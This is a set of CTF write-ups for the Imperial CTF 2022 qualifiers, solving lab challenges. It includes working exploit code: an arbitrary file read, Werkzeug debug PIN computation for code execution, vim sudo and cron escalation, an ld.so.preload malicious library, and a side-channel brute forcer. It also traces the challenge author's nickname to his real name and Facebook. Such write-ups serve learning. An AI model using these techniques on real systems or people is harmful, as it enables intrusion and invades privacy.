Try   HackMD

Imperial CTF 2022 Qualifiers - Writeups (SHRECS)

Oracle

Challenge overview

A web page /login with a password input field.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Whatever the provided password is we go through the same events:

  1. Some adventurer destined message. Note that the field asks for a Guess and not a login from now on.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  2. After one guess try, we get the same form but with a hint on what's expected
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  3. Guess after guess the amount of tries left decreases. Eventually when you are at 0 you have to start all over.

Solution

In the headers we notice what first seems like a regular JWT token:

Set-Cookie: session=.eJwNyjsKQkEMRuG9pE6R159M7lbE4oLeVnEUQXHvTnP4ivOl-z7n-_a40Eaf_UpM8_k6DtpOEdIjVtlCNawrOEVSpcbgDotRvZTeaADO6oZEhXGtGQOaXG7e2lBOVQNE4vz7AxOIG_c.YkhEmQ.gjNanHDNh73EWuT62FTE-1NV6gA; HttpOnly; Path=

A closer look at this JWT on https://jwt.io shows that the first part is not a valid encoded JSON.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Throwing that base64 in cyberchef highlights that it's actually a ZLIB chunk of data.
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The password is what I've entered so it's no good. But this list of number contains the one that the "Oracle" expects.

And flag !

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


Enumerator

An obvious arbitrary file read vulnerability allows us to read many files on the system as root. We are able to read the source code of the challenge (/enumerator_hjikmrfvyg/enumerator.py):

from flask import Flask, session, redirect, url_for, request, render_template
from werkzeug.debug import DebuggedApplication
import requests
import random
import os

app = Flask(__name__)
app.secret_key = "qMUUE3lTQqTyMxxIadQ3"


@app.route("/", methods=["GETPOST"])
def index():
    data = """
          <h1> Continous Automatic Tested Enumerator </h1>
          <h3> Tired of having to browse so many websites in a single day? </h3>
          <p> Our enumeration service allows you to look up any page on the web from the confort of our own app. </p>
          <p> What are you waiting for? Start searching! </p>
          <form action="" method="post">
            <p> URL: <input type="text" name="url"> </p>
            <p> <input type="submit" value="SuperFastSearch"> </p><p>
          </p></form>
      """

    if request.method == "GET":
        return generate_page(data)

    if request.method == "POST":
        url = request.form["url"]
        if "file" in url:
            with open(url[7:]) as f:
                contents = f.readlines()
        else:
            r = requests.get(url)
            contents = r.text

        return generate_page(f"<div> {data} </div> <div> {contents} </div>")


def generate_page(data):
    return f"""
      <style>
          body {{
                background-color: #e0f9f9;
          }}
      </style>

      <div class="content">
          {data}
      </div>
      """


if __name__ == "__main__":
    port = int(os.environ.get("PORT", 5000))
    app.run(debug=True, host="0.0.0.0", port=port)

A little script to automate that:

#!/usr/bin/python3

import requests
import sys


if len(sys.argv) < 2:
    print("Provide path to file as arg")
    exit(1)

url = "http://192.168.125.100:9002/"

r = requests.post(url, data={"url": f"file://{sys.argv[1]}"})
if r.status_code != 200:
    print("error...\n\n")
    print(r.text)
    exit(1)

try:
    index = r.text.find("<div> [")
    array = r.text[index + 6 : -18]
    a = eval(array)
    [print(l, end="") for l in a]
except:
    print(r.text)

We understand the server runs Flask + Werkzeug with debug mode activated. In order to access the debug console, which would give us remote code execution as root, we need to compute the PIN code of the debug console.

We learn about these PIN codes and understand they can be computed by gathering various elements about the system through the arbitrary file read vulnerability.

By looking at Werkzeug's source code, we can see we need to identify two arrays of elements: probably_public_bits and private_bits.

The first array is easily filled:

probably_public_bits = [
    "root",  # username
    "flask.app",  # modname
    "Flask",  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    "/usr/local/lib/python3.8/site-packages/flask/app.py",  # getattr(mod, '__file__', None),
]

For the second array, we need to predict the output of uuid.getnode() and retrieve the machine ID:

  • Retrieve the hardware MAC address of the eth0 interface through /sys/class/net/eth0/address
  • Retrieve /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
┌╼ 17:12:06 ~/Documents/ctf/ictf/enumerator 
└⏵ ./get_file.py /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.24.0.1       0x1         0x2         02:42:bf:22:96:2f     *        eth0
┌╼ 17:13:27 ~/Documents/ctf/ictf/enumerator 
└⏵ ./get_file.py /sys/class/net/eth0/address
02:42:ac:18:00:03
┌╼ 17:27:28 ~/Documents/ctf/ictf/enumerator 
└⏵ python3
Python 3.8.10 (default, Mar 15 2022, 12:22:08) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x0242ac180003
2485378351107
┌╼ 17:19:20 ~/Documents/ctf/ictf/enumerator 
└⏵ ./get_file.py /proc/self/cgroup              
11:name=systemd:/docker/3e5f58710ee3415ec2a1536107725aff6f8c43702c1c4d6da6ba93144ed0c856

Final code to compute PIN code:

#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
	'root',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	str(0x0242ac18000a),# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
  "f4a22ca0-c5ae-400a-923a-83b34997867f3e5f58710ee3415ec2a1536107725aff6f8c43702c1c4d6da6ba93144ed0c856"
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
	h.update(b'pinsalt')
	num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)

We obtain 563-338-883. We are then able to unlock the debug console. We only need now to locate the flag and print it:

ICTF{th3_fl4g_w4s_h1d1ng_1n_pl41n_s1ght}


Escape Master

Observation

When starting a TCP connection with the provided IP address on the provided port we receive the following:

┌╼ 14:57:00 ~ 
└⏵ nc 192.168.125.100 9003



Alert! Alert! Agent Lee's cover has been blown! He needs immediate extraction!
He has managed to contact us just in time and we sent a helicopter to pick him up.
Unfortunately, he transmitted the wrong coordinates. To make things worse, he
needs to navigate a huge maze. His position is marked with an L in the maze, while
our helicopter is marked with an H.
We extracted a satellitle image of the maze and marked the walls with #. We need
you to find a path that agent Lee can follow in order to get to safety.
Provide the path as one long line of characters L, R, U, D which symbolise taking
a step left, right, up or down.
  
  Example:
  L # # # # #
  O O O # O #
  # O # # O #
  O O # O O O
  O # # O # O
  O O O O O H
    
  Path (any correct solution is accepted):
  DRDDLDDRRRUURRDD
  
Ready? (Y/N)

Answering Y brings us the real challenge data:

Ready? (Y/N)Y
L O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # #
# O O # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # #
# # O O # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # #
# O # O # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # #
# O O O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # O O # # # # # # #
# # O O O # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # O O O O # # # O O # # #
# # # # O O O # # # # # # # # # # # O O # # # # O O O O O # # # # # # # # # O O O # # O O O O # # #
# # # # # # O O O O O O O O O O O # O # # # # O O O O O O # O O # # # # # # # O O # O O # O O # # #
# # # # # # # # # O O O # # # # O O O # # # # O O # O # # # O O # # # # # # # O # # O O # O O # # #
# # # # # # # # # # # O # O # # O # # # # # # # # # O # # # # # # O # # # # # O # # # # # # # # # #
# # # # # # # # # # # O # O # # O # # # # # # # # # # # # # # # # O O O O O # O # # # # # # # # # #
# # # # # # # # # # # # # O # # O # # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # # #
# # # # # # # # # # # # O O # # O # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # O O O O # O # # # # # # # # # # # # # # # # # # # # # # # # # # O O
# # # # # O O O O # # O O # # # # O # # O O # # # # # # # # # # # # # O # # # # # # # # # # # # # O
# # # # # O # O O # # O O O O O # O O # O O # # # # # # # # # # # # # O O O # # # # # # # # # # O O
# # # # # # # O # # # # # # # O O O O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # O O O O O # # # # # # # # # # # # # # # # # O O # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # # O # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # O O O # # # # # # # # # # # # # # # # O O # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # O O # # # # O O # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # O O # # # # # # O O O # # # # # # # # # # # # O O # # # # # O O O # # # #
# # # # # # # # # # # # O O # # # # # # # # # O O O # # # # # # # # # # # O O # # # # # # O # # # #
# # # # # # # # # # # # O O O O # # # # # # O # # O # # # # # # # # # # # # O O # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # O O # O O O O # # # # # # # # # # O # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # O O # # # # O O O O # # # # # # # O # # # # # # # # # O
# # # # # # # # # # # # # # # # # # # # # # O # # # # # # # # O O # # # # # # # # # # # # # # O O O
# # # # # # # # # # # # # O O # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # O O #
# # # # # # # # # # # # # O O O # # # # # # # # # # # # # # O O O O # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # O # # # # # # # # # # # # # # # # O O # O O # # # # # # # # # # # # # # #
# # # # # O O # # # # # O O O # # # # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # #
# # # O O O O O O # # # # # O # # # # # # # # # # # # # # # # # # # O O O # # # # # # # O # # # # #
# # # # O O # # # # # # # # O # O # # # # # # # # # # # # # # # # O O # O O # # # # # O O # # # # #
# # # # # O # # # # # # # # O O O # # # # # # # # # # # # # # # # O O # # O O O O O O O # # # # # #
# # # O O O O # # # # # # # # # # # # # # # # # # # # # # # # # # O O O O # # # # O O # # # # # # #
# # # # O O O O O # # # # # # # # # # # # # # # # # # O # # # # # # # O O O O # # O O O O O # # # #
# # # O O O # O O # O # # # # # # # # # # # # # # # # O # # # # # # # # # # # # # # # # # O O O # #
# # # O O O O O # O O # # # # # # # # # # # # # # # # O # O # # # # # # # # # # # # # # # # # O # #
# # # # # # # O # O O # # # # # # # # # # # O # # # # O O O # # O O O O O O O # # # # # # # # O O #
# # # # # # # # # # # # # # # # # # # # # # O O # # # # O # # # # # # # # # # # # # # # # # O O O O
# # # # # # # # # # # # # # O # # # # # # O O O # # # # O # # # # # # # # # # # # # # # # # # O # O
# # # # # # # # # # # # # # O # # # # # # O O O # # # # O # O O # # # # # # # # # # # # # # # O # O
# # # # # # # # # # # # # O O # # # # # # O O O # # # # O O O # # # O O # # # # # # # # # # # # # O
# # # # # # # # # # # # # O # # # O O # # O O # # # # # # # # # # # O O O # # # # # # # # # # # # O
# # # # # # # # # # # # # # # O O O O # # O O O O # # # # # O # # O O # O O # # # # # # # # # # # O
# # # # # # # # # # # # # # # O # # # # # O # # O # # # # # O # # O O O # O # # # # # # # # # # # O
# # # # # # # # # # # # # # # # # # # # # O # # O # # # # # O O # # # O O O O # # # # # # # # # # H

Hurry! We only have a few seconds to spare!
Path:

Solution

It's quite straight forward, we must write a script that will connect to the server, parse the input and do some Depth first search computations to find a way out.

Note that the script is absolutely not optimized. On the contrary. The complexity of the real challenge data is low enough so that we do not have to care about scripting right.

#!/usr/bin/python3

import pwn
import copy


def go_through(maze, pos, history, target):
    history_cpy = copy.deepcopy(history)
    if pos == target:
        return True

    x, y = pos
    if (maze[y][x + 1] == ord("O") or maze[y][x + 1] == ord("H")) and (
        x + 1,
        y,
    ) not in history_cpy:
        res = go_through(maze, (x + 1, y), [*history_cpy, (x + 1, y)], target)
        if res == True:
            return "R"
        elif res != False:
            return "R" + res

    if (maze[y + 1][x] == ord("O") or maze[y + 1][x] == ord("H")) and (
        x,
        y + 1,
    ) not in history_cpy:
        res = go_through(maze, (x, y + 1), [*history_cpy, (x, y + 1)], target)
        if res == True:
            return "D"
        elif res != False:
            return "D" + res

    if (maze[y - 1][x] == ord("O") or maze[y - 1][x] == ord("H")) and (
        x,
        y - 1,
    ) not in history_cpy:
        res = go_through(maze, (x, y - 1), [*history_cpy, (x, y - 1)], target)
        if res == True:
            return "U"
        elif res != False:
            return "U" + res

    if (maze[y][x - 1] == ord("O") or maze[y][x - 1] == ord("H")) and (
        x - 1,
        y,
    ) not in history_cpy:
        res = go_through(maze, (x - 1, y), [*history_cpy, (x - 1, y)], target)
        if res == True:
            return "L"
        elif res != False:
            return "L" + res

    return False


r = pwn.remote("192.168.125.100", 9003)
init_message = b"Ready? (Y/N)"
challenge_message = b"\n\nHurry! We only have a few seconds to spare!\nPath:"

r.recvuntil(b"Ready? (Y/N)")
r.sendline(b"Y")
data = r.recvuntil(challenge_message)

maze = data[: -(len(challenge_message))].split(b"\n")
maze = [line.replace(b" ", b"") for line in maze]
print_maze(maze)
start = False
target = False
W = len(maze[0]) - 1

# Find the start point and target point
# For this challenge it seemed to always be the top left point 
# and the bottom right points. But just in case:
for y in range(len(maze)):
    line = maze[y]
    if line[0] == ord("L"):
        start = (0, y)
    if line[W] == ord("H"):
        target = (W, y)
    if start != False and target != False:
        break
assert start != False and target != False
res = go_through(maze, start, [start], target)
print(res)
r.sendline(res.encode())
r.interactive()

r.close()
RDRRDRDDDRDRDRDRRDRRRDDDRRRRRDDRDRRDRDDDDRDDRRDRRDDRRRDRDRDRRDRDRDLLDDDDDDDRRRRRDDDRDRDRRDDLDDDDRRRRRR
RR
[*] Switching to interactive mode

We sent the path to our agent. Let's see if he makes it.
You did it! Agent Lee has been extracted!
Here is a token of our appreciation:
ICTF{l33_s_4lg0r1thm_h4s_a_w0r5t_cas3_c0mpl3x1ty_0f_n_squ4r3d}

Root Me 1

user@730d3d393080:~$ sudo -l
[sudo] password for user: 
Matching Defaults entries for user on 730d3d393080:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on 730d3d393080:
    (root) /usr/bin/vim

😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨:scream:😨

Inside vim:

...
~
~
~
:!/bin/sh

Eventually:

[No write since last change]
# whoami
root
# ls
flag.txt
# /bin/cat flag.txt
ICTF{v1m_1s_b3tt3r_th4n_3m4c5_4nd_n4n0_h4h4h4}

Root Me 2

Observation

In this second challenge, we do not have any sudo configuration. But after looking around a bit we eventually find the crontab configuration!

user@69e21c76eb74:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow usercommand
17 ** * *root    cd / && run-parts --report /etc/cron.hourly
25 6* * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6* * 7roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 61 * *roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root bash /usr/share/cleaner/clean.sh
#

This cron job runs clean.sh as root very regularly.

user@69e21c76eb74:~$ ls -lah /usr/share/cleaner/clean.sh 
-rw-rw-rw- 1 root root 45 Apr  2 13:48 /usr/share/cleaner/clean.sh

We can even edit it!

  GNU nano 2.9.3                    /usr/share/cleaner/clean.sh                   

rm -rf /tmp/*
chmod 0777 /home/user/flag.txt

Solution

After about a minute we are able to read the flag.

user@69e21c76eb74:~$ ls -lah
total 792K
drwxr-xr-x 1 user user 4.0K Apr  2 13:31 .
drwxr-xr-x 1 root root 4.0K Mar 30 19:10 ..
-rw------- 1 user user   23 Apr  2 13:27 .bash_history
drwx------ 2 user user 4.0K Apr  2 13:19 .cache
drwxrwxr-x 3 user user 4.0K Apr  2 13:30 .local
-rwxrwxrwx 1 root root  205 Mar 30 18:16 flag.txt
-rw-rw-r-- 1 user user 758K Apr  2 13:31 linp.sh
user@69e21c76eb74:~$ cat flag.txt
ICTF{cr0nt4b_1s_t1m3l3ss_1f_y0u_us3_1t_r1ght}  

Root Me 3

Observations

The objective is the same as the two precedent challenges. Access /home/user/flag.txt's content.

user@864543330b85:~$ ls -lah flag.txt
-r-------- 1 root root   65 Mar 30 18:16 flag.txt

Enumerating with linPEAS will not give much. But after looking around for a while and using many vulnerabilities enumerators when the inspiration was low enough.

The linux-smart-enumeration eventually helped with a nice feature that looks for writable files outside a user's home.

user@864543330b85:~$ bash linux-smart-enumeration/lse.sh -l 1
---
If you know the current user password, write it here to check sudo privileges: 
b35t_h4ck3r
---

[...] # trimed non-used output

============================================================( file system )====
[*] fst000 Writable files outside user's home.............................. yes
!
---
/tmp
/etc/ld.so.preload

This /etc/ld.so.preload looks very promising. This file is a replacement of the LD_PRELOAD environment variable. It means the shared library pathes written inside will be loaded on binaries execution. It means that if we can indeed write in this file, we will be able to get a library of our choice loaded, during a root process for instance ! In other words, it's our entry point to an arbitrary code execution.

user@864543330b85:~$ ls -lah /etc/ld.so.preload 
-rw-rw-rw- 1 root root 22 Apr  2 23:36 /etc/ld.so.preload

Exploit

We have the ability to have a library of our choice loaded before any binary execution. The plan here is to compile a custom library with some initialisation code that will change the permissions on the /home/user/flag.txt file.

Note that we also could have aimed at obtaining a root shell. One way would have been to make root craft an suid script starting a shell. But we'll get straight to the objective of the challenge.

We'll use the __attribute__((__constructor__)) on our payload function in order to have it run during the library loading.

#include <sys/stat.h>

__attribute__((__constructor__)) void payload(void)
{
    chmod("/home/user/flag.txt", 07777);
}

We compile it as a shared library. Then we feed it to the /etc/ld.so.preload.

user@864543330b85:~$ gcc -shared -fPIC -ldl -o exploit.so exploit.c 
user@864543330b85:~$ echo "/home/user/exploit.so" >> /etc/ld.so.preload 

After that we just have to wait for the root user to run some process. One way to trigger in this particular challenge that is to initiate a new ssh connection. That done we now have read access to the flag !

user@864543330b85:~$ ls -lah flag.txt 
-rwsrwsrwt 1 root root 65 Mar 30 18:16 flag.txt
user@864543330b85:~$ cat flag.txt 
ICTF{1_kn3w_1_sh0uld_h4v3_p41d_m0r3_att3nt1on_t0_th0se_c_cl4ss3s}

Snowman

Hint 1: Not everything has to do with runnable code
Hint 2: Never forget your origins

We find the original copy pastas on reddit, and they're exactly the same as in the challenge, so the actual challenge entirely lies somewhere else in the file.

We notice there are additional whitespaces and tabulations between the lines. These are reminiscent of the Whitespace programming language, but we are not able to make sense out of it.

Eventually, we stumble upon stegsnow, a command line tool to hide data in text files using whitespaces and tabs.

Some educated guess later, we find out the password is the Attack on Titan's manga author.

╭─face@0xff ~/ctf/imperial/snowman 
╰─$ stegsnow -p 'Hajime Isayama' -C AoT_trash_talk.txt
ICTF{50m30n3_h4735_4774cK_0n_T174n5}%

Inspectror

Getting RickRolled will be the Least of your problems!\00

Access the required file here: https://drive.google.com/file/d/13pDdFZpIW1pwUWcjvAwfP05zSfTzLmi-/view?usp=sharing

We are given a wav file. The descriptions hints at LSB steganography.

A little python script to extract the LSB binary stream:

f = open("sorry.wav", "rb").read()

data = f[44:] # wav header

for i in range(len(data)):
  print((data[i] & 1), end="")

There's a 512-bit binary stream at the beginning:

01100111011001100111011001001110010101010011100001110101011000110011100101110110011000010100110101110001010101100100001100101011011000100101010101000011010011010100001001110111011000100110010000111000001101110010111101100001010101010111000101100100011101100110010101001011011101110010101101000010010001000100100101010010001101010011011101010100010010110011100101001010001110000100100101110011010100000011011101100110011100010100011001110101001110000101011101000010010000100111011001110011011101010111000001011000

which decodes as gfvNU8uc9vaMqVC+bUCMBwbd87/aUqdveKw+BDIR57TK9J8IsP7fqFu8WBBvsupX.

Then, at the end of the audio file, we notice some data encoded in the spectrum view:

which decodes as "I_got_rickrolled".

Some educated guess leads us to realize the flag is AES-encrypted with "I_got_rickrolled" as the key:

ICTF{https://docsoc.co.uk/random_ending}


Hannah Montana

By Googling the challenge author's nickname PANGAV2001, we find his Linkedin account and his real name: Panayiotis Gavriil.

We find his Facebook, and we are sure it's the right one, as he has the same profile picture.

By crawling in his Facebook pictures, we find dog pictures and the flag: https://www.facebook.com/photo/?fbid=734265183318941&set=pb.100002063996513.-2207520000..

ICTF{17'5_M1l3y_bu7_n07_CyRu5}


Out of Time

This was a side-channel challenge.
We fist had to recover the flag length, and then we could bruteforce each character independently.
As for each step, the midi file was the same, we just used md5 to find the different one.

import requests as req
import hashlib
flag=""

# Getting flag length
for k in range(100):
    res = req.get("http://192.168.125.100:5002/"+'A'*k)
    h=hashlib.md5(res.content).hexdigest()
    if h != 'c39033fc9d44b8e8b201a959a6ba979f' and h!= "fdffc9472282c425135d88b2cd9898a9" and h!= "7dfb9a4219d20c6babc4877451844e3c":
        flag_length = k

print("flag len got : ", flag_length)

for k in range(flag_length):
    href_flag= flag + "." # suppose that there are no "." in the flag
    href_flag += (flag_length-len(href_flag))*'A'
    href = hashlib.md5(req.get("http://192.168.125.100:5002/"+href_flag).content).hexdigest()
    for flag_i in [chr(i) for i in range(32, 127)]:
    # for k in range(100):
        flag_ = flag + flag_i
        flag_ += (35-len(flag_))*'A'
        # flag= urllib.parse.quote_plus("ICT"+flag)
        res = req.get("http://192.168.125.100:5002/"+flag_)#flag_)
        h=hashlib.md5(res.content).hexdigest()
        if h!= href and h != 'c39033fc9d44b8e8b201a959a6ba979f' and h!= "fdffc9472282c425135d88b2cd9898a9" and h!= "7dfb9a4219d20c6babc4877451844e3c":
            flag+=flag_i
            print(flag)
            break

Flag: ICTF{y0U_c4Nt_35c4pe_s1d3_Ch4Nn3lS}


Your Files Are My Files

We look at the files but nothing interesting here, so using sleuthkit we look for deleted files:

➜  your_files_are_my_files git:(main) ✗ fls file.img 
r/r * 5:	super_secret_flag.png
r/r 8:	secret_flag.png
d/d 10:	.Trash-1000
v/v 1108707:	$MBR
v/v 1108708:	$FAT1
v/v 1108709:	$FAT2
V/V 1108710:	$OrphanFiles

➜  your_files_are_my_files git:(main) ✗ sudo mount file.img mount_dir

Inside super_secret_flag.png, we find:

cat *
DGGZEV9ZADB1BGRFYJNFMW5FDGGZX2WWZZV9

binwalk on secret_flag.png yields a docx file.

binwalk -e secret_flag.png

Its contents:

Dear  Hacker,

You have stumbled upon my own private diary. This is all classefied information. Here we go:

[Monday, 30 February]

Today I created a few more challenges for the qualifiers. I have two great ideas for their flags: the first one will be ICTF{redacted_redacted_redacted} and the second one would be ICTF{ redacted_redacted_redacted redacted_redacted_redacted}. 

The approach is quite similar for both. In order to get the flags you have to  redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redthe_flag is_ictf{h4v3_y0u_s33n_my_fil35_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redactso_you_thought_this_is_easy?_redacted_redacted_redacted_redacted redacted_redacted_there_is_nothing_else_here_redacted redacted_redacted_redacted  redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted redacted_redacted_redacted 